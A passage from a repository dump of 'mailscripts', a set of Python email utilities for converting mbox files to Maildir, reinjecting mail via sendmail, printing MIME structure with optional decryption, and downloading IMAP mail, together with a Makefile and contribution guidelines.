os.path.basename(sys.argv[0])\n\nif len(sys.argv) < 3:\n eprint(us + \": usage: \" + us + \" MSG [MSG..] DEST\")\n sys.exit(1)\n\ndest = sys.argv[-1]\n\nfor msg in sys.argv[1:-1]:\n if not os.path.isfile(msg):\n eprint(us + \": \" + msg + \" does not exist\")\n sys.exit(1)\n\nfor d in [os.path.join(dest, \"cur\"), os.path.join(dest, \"new\"), os.path.join(dest, \"tmp\")]:\n if not os.path.isdir(d):\n eprint(us + \": \" + dest + \" doesn't look like a Maildir\")\n sys.exit(1)\n\ncounter = 0\n\nfor msg in sys.argv[1:-1]:\n msg_name = os.path.basename(msg)\n parts = msg_name.split(':')\n if len(parts) == 2:\n flags = parts[1]\n else:\n flags = None\n name_prefix = \"%d.%d_%d.%s\" % (int(time.time()), os.getpid(),\n counter, socket.gethostname())\n\n if flags:\n msg_dest = os.path.join(os.path.join(dest, 'cur'), name_prefix + ':' + flags)\n else:\n msg_dest = os.path.join(os.path.join(dest, 'cur'), name_prefix + ':2,')\n\n if os.path.exists(msg_dest):\n eprint(us + \": somehow, dest \" + msg_dest + \" already exists\")\n sys.exit(1)\n else:\n shutil.move(msg, msg_dest)\n\n counter = counter + 1\n" }, { "alpha_fraction": 0.7107987999916077, "alphanum_fraction": 0.7241124510765076, "avg_line_length": 27.16666603088379, "blob_id": "85e3d79d26e0abe68a336efc7b77e59fb49a8166", "content_id": "e2f8e23fc20ba03231dd6bba093916dcf1a11f7c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1352, "license_type": "no_license", "max_line_length": 72, "num_lines": 48, "path": "/mbox2maildir", "repo_name": "spwhitton/mailscripts", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\n# mbox2maildir -- convert an mbox to a maildir using Python's libraries\n\n# Copyright (C) 2018 Sean Whitton\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or (at\n# your option) any later version.\n#\n# This program is distributed in the hope that it will be useful, but\n# WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <https://www.gnu.org/licenses/>.\n\n# Credits:\n\n# Daniel Kahn Gillmor made the suggestion in Debian bug #863570 that\n# Python's mailbox library could be used for the purpose of converting\n# a mbox to a maildir.\n\nimport os\nimport sys\nimport mailbox\n\ndef eprint(*args, **kwargs):\n print(*args, file=sys.stderr, **kwargs)\n\nus = os.path.basename(sys.argv[0])\n\nif len(sys.argv) != 3:\n eprint(us + \": usage: \" + us + \" MBOX MAILDIR\")\n sys.exit(1)\n\nsource_path = sys.argv[1]\ndest_path = sys.argv[2]\n\nsource = mailbox.mbox(source_path)\ndest = mailbox.Maildir(dest_path)\n\ndest.lock()\nfor message in source:\n dest.add(message)\ndest.close()\n" }, { "alpha_fraction": 0.5941080451011658, "alphanum_fraction": 0.6001091003417969, "avg_line_length": 24.109588623046875, "blob_id": "37de5630031e68d5fecbfab4555410c7a0840d99", "content_id": "e50c484aa3849b0fbb2fd1b9065de718eee4aee3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1833, "license_type": "no_license", "max_line_length": 95, "num_lines": 73, "path": "/sendmail-reinject", "repo_name": "spwhitton/mailscripts", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\n# SPDX-License-Identifier: GPL-2.0-or-later\n# Copyright 2022 Jameson Graef Rollins\n\nimport sys\nimport argparse\nimport subprocess\n\nimport email\nfrom email.policy import default\nfrom email.utils import parseaddr, getaddresses\n\n\ndef sendmail(recipients, message, sender):\n \"\"\"send message via sendmail\"\"\"\n cmd = [\n 'sendmail',\n '-f', sender,\n ] + recipients\n print(' '.join(cmd), file=sys.stderr)\n subprocess.run(\n cmd,\n input=message.as_bytes(),\n check=True,\n )\n\n\ndef main():\n parser = argparse.ArgumentParser(\n description=\"Reinject an email message via sendmail.\",\n )\n pgroup = parser.add_mutually_exclusive_group(required=True)\n pgroup.add_argument(\n 'message', nargs='?', type=argparse.FileType('rb'),\n help=\"email message path or '-' for stdin\",\n )\n pgroup.add_argument(\n '-i', '--notmuch-id',\n help=\"message ID for notmuch extraction\",\n )\n\n args = parser.parse_args()\n\n if args.id:\n import notmuch2 as notmuch\n db = notmuch.Database()\n query = f'id:{args.id}'\n assert db.count_messages(query) == 1, \"Message ID does not match exactly one message??\"\n for msg in db.messages(query):\n path = msg.path\n break\n f = open(path, 'rb')\n else:\n f = args.message\n\n # parse the email message\n msg = email.message_from_binary_file(f, policy=default)\n\n sender = parseaddr(msg['from'])[1]\n\n # extract all recipients\n tos = msg.get_all('to', [])\n ccs = msg.get_all('cc', [])\n resent_tos = msg.get_all('resent-to', [])\n resent_ccs = msg.get_all('resent-cc', [])\n recipients = [r[1] for r in getaddresses(tos + ccs + resent_tos + resent_ccs)]\n\n sendmail(recipients, msg, sender)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6756410002708435, "alphanum_fraction": 0.699999988079071, "avg_line_length": 24.161291122436523, "blob_id": "824af860c48538d7dd909e754d48b46abf526b3a", "content_id": "2450249c3624756696633f6e341caf0bad89fbe2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 780, "license_type": "no_license", "max_line_length": 80, "num_lines": 31, "path": "/Makefile", "repo_name": "spwhitton/mailscripts", "src_encoding": "UTF-8", "text": "MANPAGES=mdmv.1 mbox2maildir.1 \\\n\tnotmuch-slurp-debbug.1 notmuch-extract-patch.1 maildir-import-patch.1 \\\n\tmbox-extract-patch.1 \\\n\timap-dl.1 \\\n\temail-extract-openpgp-certs.1 \\\n\temail-print-mime-structure.1 \\\n\tnotmuch-import-patch.1 \\\n\tgmi2email.1\nCOMPLETIONS=completions/bash/email-print-mime-structure completions/bash/imap-dl\n\nall: $(MANPAGES) $(COMPLETIONS)\n\ncheck:\n\t./tests/email-print-mime-structure.sh\n\tmypy --strict ./email-print-mime-structure\n\tmypy --strict ./imap-dl\n\nclean:\n\trm -f $(MANPAGES)\n\trm -rf completions .mypy_cache\n\n%.1: %.1.pod\n\tpod2man --section=1 --date=\"Debian Project\" --center=\"User Commands\" \\\n\t\t--utf8 \\\n\t\t--name=$(subst .1,,$@) \\\n\t\t$^ $@\n\ncompletions/bash/%:\n\tmkdir -p completions/bash\n\tregister-python-argcomplete $(notdir $@) >[email protected]\n\tmv [email protected] $@\n" }, { "alpha_fraction": 0.5811991691589355, "alphanum_fraction": 0.5893292427062988, "avg_line_length": 42.92856979370117, "blob_id": "ac1f66ad68c55d72362abb42de4ba239218a57dd", "content_id": "b7646e0cff734d5f456dd9c16261503cb8d26710", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9890, "license_type": "no_license", "max_line_length": 129, "num_lines": 224, "path": "/email-print-mime-structure", "repo_name": "spwhitton/mailscripts", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# PYTHON_ARGCOMPLETE_OK\n# -*- coding: utf-8 -*-\n\n# Copyright (C) 2019 Daniel Kahn Gillmor\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or (at\n# your option) any later version.\n#\n# This program is distributed in the hope that it will be useful, but\n# WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <https://www.gnu.org/licenses/>.\n'''\nThis script reads a MIME message from stdin and produces a treelike\nrepresentation on it stdout.\n\nExample:\n0 dkg@alice:~$ printmimestructure < 'Maildir/cur/1269025522.M338697P12023.monkey,S=6459,W=6963:2,Sa'\n└┬╴multipart/signed 6546 bytes\n ├─╴text/plain inline 895 bytes\n └─╴application/pgp-signature inline [signature.asc] 836 bytes\n0 dkg@alice:~$\n\nIf you want to number the parts, i suggest piping the output through\nsomething like \"cat -n\"\n'''\nimport os\nimport sys\nimport enum\nimport email\nimport logging\nimport subprocess\n\nfrom argparse import ArgumentParser, Namespace\nfrom typing import Optional, Union, List, Tuple, Any\nfrom email.charset import Charset\nfrom email.message import Message\n\ntry:\n import pgpy #type: ignore\nexcept ImportError:\n pgpy = None\n\ntry:\n import argcomplete #type: ignore\nexcept ImportError:\n argcomplete = None\n\nEncType = enum.Enum('EncType', ['PGPMIME', 'SMIME'])\n\nclass MimePrinter(object):\n def __init__(self, args:Namespace):\n self.args = args\n\n def print_part(self, z:Message, prefix:str, parent:Optional[Message], num:int) -> None:\n ofname:Optional[str] = z.get_filename()\n fname:str = '' if ofname is None else f' [{ofname}]'\n ocharset:Union[Charset, str, None] = z.get_charset()\n cset:str = '' if ocharset is None else f' ({ocharset})'\n disp:Union[List[Tuple[str,str]], List[str], None] = z.get_params(None, header='Content-Disposition')\n disposition:str = ''\n if (disp is not None):\n for d in disp:\n if d[0] in [ 'attachment', 'inline' ]:\n disposition = ' ' + d[0]\n nbytes:int\n if z.is_multipart():\n # FIXME: it looks like we are counting chars here, not bytes:\n nbytes = len(z.as_string())\n else:\n payload:Union[List[Message], str, bytes, None] = z.get_payload()\n if not isinstance(payload, (str,bytes)):\n raise TypeError(f'expected payload to be either str or bytes, got {type(payload)}')\n # FIXME: it looks like we are counting chars here, not bytes:\n nbytes = len(payload)\n\n print(f'{prefix}{z.get_content_type()}{cset}{disposition}{fname} {nbytes:d} bytes')\n cryptopayload:Optional[Message] = None\n try_pgp_decrypt:bool = self.args.pgpkey or self.args.use_gpg_agent\n try_cms_decrypt:bool = self.args.cmskey or self.args.use_gpg_agent\n\n if try_pgp_decrypt and \\\n (parent is not None) and \\\n (parent.get_content_type().lower() == 'multipart/encrypted') and \\\n (str(parent.get_param('protocol')).lower() == 'application/pgp-encrypted') and \\\n (num == 2):\n cryptopayload = self.decrypt_part(z, EncType.PGPMIME)\n\n if try_cms_decrypt and \\\n cryptopayload is None and \\\n z.get_content_type().lower() == 'application/pkcs7-mime' and \\\n str(z.get_param('smime-type')).lower() in ['authenveloped-data',\n 'enveloped-data']:\n cryptopayload = self.decrypt_part(z, EncType.SMIME)\n\n if cryptopayload is not None:\n newprefix = prefix[:-3] + ' '\n print(f'{newprefix}↧ (decrypts to)')\n self.print_tree(cryptopayload, newprefix + '└', z, 0)\n else:\n if z.get_content_type().lower() == 'application/pkcs7-mime' and \\\n str(z.get_param('smime-type')).lower() == 'signed-data':\n bodypart:Union[List[Message],str,bytes,None] = z.get_payload(decode=True)\n if isinstance(bodypart, bytes):\n unwrapped = self.pipe_transform(bodypart, ['certtool', '--p7-show-data', '--p7-info', '--inder'])\n if unwrapped:\n newprefix = prefix[:-3] + ' '\n print(f'{newprefix}⇩ (unwraps to)')\n self.print_tree(unwrapped, newprefix + '└', z, 0)\n else:\n logging.warning(f'Unable to unwrap one-part PKCS#7 signed message (maybe try \"apt install gnutls-bin\")')\n\n\n def decrypt_part(self, msg:Message, flavor:EncType) -> Optional[Message]:\n ciphertext:Union[List[Message],str,bytes,None] = msg.get_payload(decode=True)\n cryptopayload:Optional[Message] = None\n if not isinstance(ciphertext, bytes):\n logging.warning('encrypted part was not a leaf mime part somehow')\n return None\n if flavor == EncType.PGPMIME:\n if self.args.pgpkey:\n cryptopayload = self.pgpy_decrypt(self.args.pgpkey, ciphertext)\n if cryptopayload is None and self.args.use_gpg_agent:\n cryptopayload = self.pipe_transform(ciphertext, ['gpg', '--batch', '--decrypt'])\n elif flavor == EncType.SMIME:\n if self.args.cmskey:\n for keyname in self.args.cmskey:\n cmd = ['openssl', 'smime', '-decrypt', '-inform', 'DER', '-inkey', keyname]\n cryptopayload = self.pipe_transform(ciphertext, cmd)\n if cryptopayload:\n return cryptopayload\n if self.args.use_gpg_agent:\n cryptopayload = self.pipe_transform(ciphertext, ['gpgsm', '--batch', '--decrypt'])\n if cryptopayload is None:\n logging.warning(f'Unable to decrypt')\n return cryptopayload\n\n def pgpy_decrypt(self, keys:List[str], ciphertext:bytes) -> Optional[Message]:\n if pgpy is None:\n logging.warning(f'Python module pgpy is not available, not decrypting (try \"apt install python3-pgpy\")')\n return None\n keyname:str\n ret:Optional[Message] = None\n for keyname in keys:\n try:\n key:pgpy.PGPKey\n key, _ = pgpy.PGPKey.from_file(keyname)\n msg:pgpy.PGPMessage = pgpy.PGPMessage.from_blob(ciphertext)\n msg = key.decrypt(msg)\n return email.message_from_bytes(msg.message)\n except:\n pass\n return None\n\n def pipe_transform(self, ciphertext:bytes, cmd:List[str]) -> Optional[Message]:\n inp:int\n outp:int\n inp, outp = os.pipe()\n with open(outp, 'wb') as outf:\n outf.write(ciphertext)\n out:subprocess.CompletedProcess[bytes] = subprocess.run(cmd,\n stdin=inp,\n capture_output=True)\n if out.returncode == 0:\n return email.message_from_bytes(out.stdout)\n return None\n\n def print_tree(self, z:Message, prefix:str, parent:Optional[Message], num:int) -> None:\n if (z.is_multipart()):\n self.print_part(z, prefix+'┬╴', parent, num)\n if prefix.endswith('└'):\n prefix = prefix.rpartition('└')[0] + ' '\n if prefix.endswith('├'):\n prefix = prefix.rpartition('├')[0] + '│'\n parts:Union[List[Message], str, bytes, None] = z.get_payload()\n if not isinstance(parts, list):\n raise TypeError(f'parts was {type(parts)}, expected List[Message]')\n i = 0\n while (i < len(parts)-1):\n self.print_tree(parts[i], prefix + '├', z, i+1)\n i += 1\n self.print_tree(parts[i], prefix + '└', z, i+1)\n # FIXME: show epilogue?\n else:\n self.print_part(z, prefix+'─╴', parent, num)\n\ndef main() -> None:\n parser:ArgumentParser = ArgumentParser(description='Read RFC2822 MIME message from stdin and emit a tree diagram to stdout.',\n epilog=\"Example: email-print-mime-structure <message.eml\")\n parser.add_argument('--pgpkey', metavar='KEYFILE', action='append',\n help='OpenPGP Transferable Secret Key for decrypting PGP/MIME')\n parser.add_argument('--cmskey', metavar='KEYFILE', action='append',\n help='X.509 Private Key for decrypting S/MIME')\n parser.add_argument('--use-gpg-agent', action='store_true',\n help='Ask local GnuPG installation for decryption')\n parser.add_argument('--no-use-gpg-agent', action='store_false',\n help='Don\\'t ask local GnuPG installation for decryption')\n parser.set_defaults(use_gpg_agent=False)\n\n if argcomplete:\n argcomplete.autocomplete(parser)\n elif '_ARGCOMPLETE' in os.environ:\n logging.error('Argument completion requested but the \"argcomplete\" '\n 'module is not installed. '\n 'Maybe you want to \"apt install python3-argcomplete\"')\n sys.exit(1)\n\n args:Namespace = parser.parse_args()\n msg:Union[Message, str, int, Any] = email.message_from_file(sys.stdin)\n\n if isinstance(msg, Message):\n printer:MimePrinter = MimePrinter(args)\n printer.print_tree(msg, '└', None, 0)\n else:\n logging.error('Input was not an e-mail message')\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6009735465049744, "alphanum_fraction": 0.6099443435668945, "avg_line_length": 40.68115997314453, "blob_id": "869976a8f19f4c886b981829539165f726e033d6", "content_id": "fac7487eb4e4d0b36d727959f480042448331e54", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14380, "license_type": "no_license", "max_line_length": 110, "num_lines": 345, "path": "/imap-dl", "repo_name": "spwhitton/mailscripts", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# PYTHON_ARGCOMPLETE_OK\n# -*- coding: utf-8 -*-\n\n# Copyright (C) 2019-2020 Daniel Kahn Gillmor\n# Copyright (C) 2020 Red Hat, Inc.\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or (at\n# your option) any later version.\n#\n# This program is distributed in the hope that it will be useful, but\n# WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nDESCRIPTION = '''Fetch messages from an IMAP inbox into a maildir\n\nExample config file:\n\n----------\n[retriever]\nserver = mail.example.net\nusername = foo\npassword = sekr1t!\n\n[destination]\npath = /home/foo/Maildir\n\n[options]\ndelete = True\n----------\n\nRun \"man imap-dl\" for more details.\n'''\n\nimport re\nimport sys\nimport ssl\nimport enum\nimport time\nimport imaplib\nimport logging\nimport mailbox\nimport os.path\nimport argparse\nimport statistics\nimport configparser\n\nfrom typing import Dict, List, Optional, Tuple, Union\n\ntry:\n import argcomplete #type: ignore\nexcept ImportError:\n argcomplete = None\n\ntry:\n import gssapi # type: ignore\nexcept ModuleNotFoundError:\n gssapi = None\n\n\nclass Splitter(object):\n def __init__(self, name:str, match:bytes):\n self._splitter = re.compile(match)\n self._name = name\n def breakup(self, line:bytes) -> Dict[str,int]:\n match = self._splitter.match(line)\n if not match:\n raise Exception(f'malformed {self._name} line {line!r}')\n ret:Dict[str,int] = {}\n i:str\n for i in ['id', 'uid', 'size']:\n ret[i] = int(match[i])\n return ret\n\nOnSizeMismatch = enum.Enum('OnSizeMismatch', 'warn error none')\n\n# b'1 (UID 160 RFC822.SIZE 1867)' -> {id: 1, uid: 160, size: 1867}\n_summary_re = rb'^(?P<id>[0-9]+) \\(UID (?P<uid>[0-9]+) RFC822.SIZE (?P<size>[0-9]+)\\)$'\nsummary_splitter = Splitter('summary', _summary_re)\n# b'1 (UID 160 BODY[] {1867}' -> {id: 1, uid: 160, size: 1867}\n_fetch_re = rb'^(?P<id>[0-9]+) \\(UID (?P<uid>[0-9]+) (FLAGS \\([\\\\A-Za-z ]*\\) )?BODY\\[\\] \\{(?P<size>[0-9]+)\\}$'\nfetch_splitter = Splitter('fetch', _fetch_re)\n\ndef auth_builtin(username:str, imap:imaplib.IMAP4,\n conf:configparser.ConfigParser, server:str) -> None:\n logging.info('Logging in as %s', username)\n resp:Tuple[str, List[Union[bytes,Tuple[bytes,bytes]]]]\n try:\n imap.login(username, conf.get('retriever', 'password'))\n except Exception as e:\n raise Exception(f'login failed with {e} as user {username} on {server}')\n\nif gssapi:\n # imaplib auth methods need to be in the form of callables, and they all\n # requre both additional parameters and storage beyond what the function\n # interface provides.\n class GSSAPI_handler():\n gss_vc:gssapi.SecurityContext\n username:str\n\n def __init__(self, server:str, username:str) -> None:\n name = gssapi.Name(f'imap@{server}',\n gssapi.NameType.hostbased_service)\n self.gss_vc = gssapi.SecurityContext(usage=\"initiate\", name=name)\n self.username = username\n\n def __call__(self, token:Optional[bytes]) -> bytes:\n if token == b\"\":\n token = None\n if not self.gss_vc.complete:\n response = self.gss_vc.step(token)\n return response if response else b\"\" # type: ignore\n elif token is None:\n return b\"\"\n\n response = self.gss_vc.unwrap(token)\n\n # Preserve the \"length\" of the message we received, and set the\n # first byte to one. If username is provided, it's next.\n reply:List[int] = []\n reply[0:4] = response.message[0:4]\n reply[0] = 1\n if self.username:\n reply[5:] = self.username.encode(\"utf-8\")\n\n response = self.gss_vc.wrap(bytes(reply), response.encrypted)\n return response.message if response.message else b\"\" # type: ignore\n\ndef auth_gssapi(username:str, imap:imaplib.IMAP4,\n conf:configparser.ConfigParser, server:str) -> None:\n if not gssapi:\n raise Exception('Kerberos requested, but python3-gssapi not found')\n\n logging.info(f'Logging in as {username} with GSSAPI')\n\n callback = GSSAPI_handler(server, username)\n resp = imap.authenticate(\"GSSAPI\", callback)\n if resp[0] != 'OK':\n raise Exception(f'GSSAPI login failed with {resp} as user {username} on {server}')\n\ndef scan_msgs(configfile:str, verbose:bool) -> None:\n conf = configparser.ConfigParser()\n conf.read_file(open(configfile, 'r'))\n oldloglevel = logging.getLogger().getEffectiveLevel()\n conf_verbose = conf.getint('options', 'verbose', fallback=1)\n if conf_verbose > 1:\n verbose = True\n if verbose:\n logging.getLogger().setLevel(logging.INFO)\n logging.info('pulling from config file %s', configfile)\n delete = conf.getboolean('options', 'delete', fallback=False)\n read_all = conf.getboolean('options', 'read_all', fallback=True)\n if not read_all:\n raise NotImplementedError('imap-dl only supports options.read_all=True, got False')\n rtype = conf.get('retriever', 'type', fallback='SimpleIMAPSSLRetriever')\n if rtype.lower() != 'simpleimapsslretriever':\n raise NotImplementedError(f'imap-dl only supports retriever.type=SimpleIMAPSSLRetriever, got {rtype}')\n # FIXME: handle `retriever.record_mailbox`\n dtype = conf.get('destination', 'type', fallback='Maildir')\n if dtype.lower() != 'maildir':\n raise NotImplementedError(f'imap-dl only supports destination.type=Maildir, got {dtype}')\n dst = conf.get('destination', 'path')\n dst = os.path.expanduser(dst)\n if os.path.exists(dst) and not os.path.isdir(dst):\n raise Exception('expected destination directory, but %s is not a directory'%(dst,))\n mdst:mailbox.Maildir = mailbox.Maildir(dst, create=True)\n ca_certs = conf.get('retriever', 'ca_certs', fallback=None)\n on_size_mismatch_str:str = conf.get('options', 'on_size_mismatch', fallback='error').lower()\n try:\n on_size_mismatch:OnSizeMismatch = OnSizeMismatch.__members__[on_size_mismatch_str]\n except KeyError:\n raise Exception(f'options.on_size_mismatch value should be one of:\\n'\n '{list(OnSizeMismatch.__members__.keys())}\\n'\n '(found \"{on_size_mismatch_str}\")')\n\n ctx = ssl.create_default_context(cafile=ca_certs)\n ssl_ciphers = conf.get('retriever', 'ssl_ciphers', fallback=None)\n if ssl_ciphers:\n ctx.set_ciphers(ssl_ciphers)\n\n server:str = conf.get('retriever', 'server')\n with imaplib.IMAP4_SSL(host=server,\n port=int(conf.get('retriever', 'port', fallback=993)),\n ssl_context=ctx) as imap:\n username:str = conf.get('retriever', 'username')\n authentication:str = conf.get('retriever', 'authentication',\n fallback='basic')\n # FIXME: have the default automatically choose an opinionated\n # best authentication method. e.g., if the gssapi module is\n # installed and the user has a reasonable identity in their\n # local credential cache, choose kerberos, otherwise, choose\n # \"basic\".\n if authentication in ['kerberos', 'gssapi']:\n auth_gssapi(username, imap, conf, server)\n elif authentication == 'basic':\n auth_builtin(username, imap, conf, server)\n else:\n # FIXME: implement other authentication mechanisms\n raise Exception(f'retriever.authentication should be one of:\\n'\n '\"basic\" or \"gssapi\" (or \"kerberos\"). Got \"{authentication}\"')\n\n if verbose: # only enable debugging after login to avoid leaking credentials in the log\n imap.debug = 4\n logging.info(\"capabilities reported: %s\", ', '.join(imap.capabilities))\n resp = imap.select(readonly=not delete)\n if resp[0] != 'OK':\n raise Exception(f'selection failed: {resp}')\n if len(resp[1]) != 1:\n raise Exception(f'expected exactly one EXISTS response from select, got {resp[1]}')\n data:Optional[bytes] = resp[1][0]\n if not isinstance(data, bytes):\n raise Exception(f'expected bytes in response to SELECT, got {data}')\n n:int = int(data)\n if n == 0:\n logging.info('No messages to retrieve')\n else:\n pull_msgs(imap, n, mdst, on_size_mismatch, delete)\n logging.getLogger().setLevel(oldloglevel)\n\ndef pull_msgs(imap:imaplib.IMAP4, n:int, mdst:mailbox.Maildir,\n on_size_mismatch:OnSizeMismatch, delete:bool) -> None:\n sizes_mismatched:List[int] = []\n resp = imap.fetch('1:%d'%(n), '(UID RFC822.SIZE)')\n if resp[0] != 'OK':\n raise Exception(f'initial FETCH 1:{n} not OK ({resp})')\n\n pending:List[Dict[str,int]] = []\n for data in resp[1]:\n if not isinstance(data, bytes):\n raise TypeError(f'Expected bytes, got {type(data)}')\n pending.append(summary_splitter.breakup(data))\n\n sizes:Dict[int,int] = {}\n for m in pending:\n sizes[m['uid']] = m['size']\n fetched:Dict[int,int] = {}\n uids = ','.join(map(str, sorted([x['uid'] for x in pending])))\n totalbytes = sum([x['size'] for x in pending])\n logging.info('Fetching %d messages, expecting %d bytes of message content',\n len(pending), totalbytes)\n # FIXME: sort by size?\n # FIXME: fetch in batches or singly instead of all-at-once?\n # FIXME: rolling deletion?\n # FIXME: asynchronous work?\n before = time.perf_counter()\n resp = imap.uid('FETCH', uids, '(UID BODY.PEEK[])')\n after = time.perf_counter()\n if resp[0] != 'OK':\n raise Exception('UID fetch failed {resp[0]}')\n expected_objects:int = len(pending) * 2\n if len(resp[1]) != expected_objects:\n raise Exception(f'expected {expected_objects} responses for fetch, got {len(resp[1])}')\n for n in range(0, expected_objects, 2):\n # expected response is one \"fetch\" line, followed by a close-paren item\n data = resp[1][n]\n if not isinstance(data, tuple) or len(data) != 2:\n raise Exception(f'expected 2-part tuple, got {type(data)}')\n\n closeparen = resp[1][n+1]\n if not isinstance(closeparen, bytes) or closeparen != b')':\n raise Exception('Expected close parenthesis after message fetch')\n\n m = fetch_splitter.breakup(data[0])\n if m['size'] != len(data[1]):\n raise Exception(f'expected {m[\"size\"]} octets, got {len(data[1])}')\n if m['size'] != sizes[m['uid']]:\n if on_size_mismatch == OnSizeMismatch.warn:\n if len(sizes_mismatched) == 0:\n logging.warning('size mismatch: summary said %d octets, fetch sent %d',\n sizes[m['uid']], m['size'])\n elif len(sizes_mismatched) == 1:\n logging.warning('size mismatch: (mismatches after the first suppressed until summary)')\n sizes_mismatched.append(sizes[m['uid']] - m['size'])\n elif on_size_mismatch == OnSizeMismatch.error:\n raise Exception(f\"size mismatch: summary said {sizes[m['uid']]} octets, \"\n \"fetch sent {m['size']}\\n\"\n \"(set options.on_size_mismatch to none or warn to avoid hard failure)\")\n # convert any CRLF line-endings to UNIX standard line-\n # endings:\n fname = mdst.add(data[1].replace(b'\\r\\n', b'\\n'))\n logging.info('stored message %d/%d (uid %d, %d bytes) in %s',\n len(fetched) + 1, len(pending), m['uid'], m['size'], fname)\n del sizes[m['uid']]\n fetched[m['uid']] = m['size']\n if sizes:\n logging.warning('unhandled UIDs: %s', sizes)\n logging.info('%d bytes of %d messages fetched in %g seconds (~%g KB/s)',\n sum(fetched.values()), len(fetched), after - before,\n sum(fetched.values())/((after - before)*1024))\n if on_size_mismatch == OnSizeMismatch.warn and len(sizes_mismatched) > 1:\n logging.warning('%d size mismatches out of %d messages (mismatches in bytes: mean %f, stddev %f)',\n len(sizes_mismatched), len(fetched),\n statistics.mean(sizes_mismatched),\n statistics.stdev(sizes_mismatched))\n if delete:\n logging.info('trying to delete %d messages from IMAP store', len(fetched))\n resp = imap.uid('STORE', ','.join(map(str, fetched.keys())), '+FLAGS', r'(\\Deleted)')\n if resp[0] != 'OK':\n raise Exception(f'failed to set \\\\Deleted flag: {resp}')\n resp = imap.expunge()\n if resp[0] != 'OK':\n raise Exception(f'failed to expunge! {resp}')\n else:\n logging.info('not deleting any messages, since options.delete is not set')\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(\n description=DESCRIPTION,\n formatter_class=argparse.RawDescriptionHelpFormatter,\n )\n parser.add_argument(\n 'config', nargs='+', metavar='CONFIG',\n help=\"configuration file\")\n parser.add_argument(\n '-v', '--verbose', action='store_true',\n help=\"verbose log output\")\n\n if argcomplete:\n argcomplete.autocomplete(parser)\n elif '_ARGCOMPLETE' in os.environ:\n logging.error('Argument completion requested but the \"argcomplete\" '\n 'module is not installed. '\n 'Maybe you want to \"apt install python3-argcomplete\"')\n sys.exit(1)\n\n args = parser.parse_args()\n\n if args.verbose:\n logging.getLogger().setLevel(logging.INFO)\n\n errs = {}\n for confname in args.config:\n try:\n scan_msgs(confname, args.verbose)\n except imaplib.IMAP4.error as e:\n logging.error('IMAP failure for config file %s: %s', confname, e)\n errs[confname] = e\n if errs:\n exit(1)\n" }, { "alpha_fraction": 0.7234817743301392, "alphanum_fraction": 0.7246963381767273, "avg_line_length": 31.933332443237305, "blob_id": "6b584e3c0a28f89bb824632ca812c270a21b49ff", "content_id": "7ef8682483b2cf81d42b9643aa7ecd1ed3016aca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 2470, "license_type": "no_license", "max_line_length": 77, "num_lines": 75, "path": "/CONTRIBUTING.rst", "repo_name": "spwhitton/mailscripts", "src_encoding": "UTF-8", "text": "Submitting patches\n==================\n\nThank you for your interest in contributing to this project!\n\nPlease **do not** submit a pull request on GitHub. The repository\nthere is an automated mirror, and I don't develop using GitHub's\nplatform.\n\nProject mailing lists\n=====================\n\nThere are two low-volume project mailing lists, shared with some other\nsmall free software projects:\n\n- sgo-software-announce --\n <https://www.chiark.greenend.org.uk/mailman/listinfo/sgo-software-announce>\n\n For release announcements.\n\n- sgo-software-discuss --\n <https://www.chiark.greenend.org.uk/mailman/listinfo/sgo-software-discuss>\n\n For bug reports, posting patches, user questions and discussion.\n\nPlease prepend ``[mailscripts]`` to the subject line of your e-mail,\nand for patches, pass ``--subject-prefix=\"PATCH mailscripts\"`` to\ngit-send-email(1).\n\nPosting to sgo-software-discuss\n-------------------------------\n\nIf you're not subscribed to the list, your posting will be held for\nmoderation; please be patient.\n\nWhether or not you're subscribed, chiark.greenend.org.uk has\naggressive antispam. If your messages aren't getting through, we can\neasily add a bypass on chiark; please contact <[email protected]>.\n\nIf you don't want to deal with the mailing list and just want to send\npatches, you should feel free to pass ``[email protected]``\nto git-send-email(1).\n\nAlternatively, publish a git branch somewhere publically accessible (a\nGitHub fork is fine) and write to me asking me to merge it. I may\nconvert your branch back into patches when sending you feedback :)\n\nIRC channel\n===========\n\nYou can ask questions and discuss mailscripts in ``#notmuch`` on\nserver ``chat.freenode.net``.\n\nReporting bugs\n==============\n\nPlease read \"How to Report Bugs Effectively\" to ensure your bug report\nconstitutes a useful contribution to the project:\n<https://www.chiark.greenend.org.uk/~sgtatham/bugs.html>\n\nSigning off your commits\n========================\n\nContributions are accepted upstream under the terms set out in\n``debian/copyright`` and in the headers of individual source files.\nCompletely new scripts can use any DFSG-compatible license. You must\ncertify the contents of the file ``DEVELOPER-CERTIFICATE`` for your\ncontribution. To do this, append a ``Signed-off-by`` line to end of\nyour commit message. An easy way to add this line is to 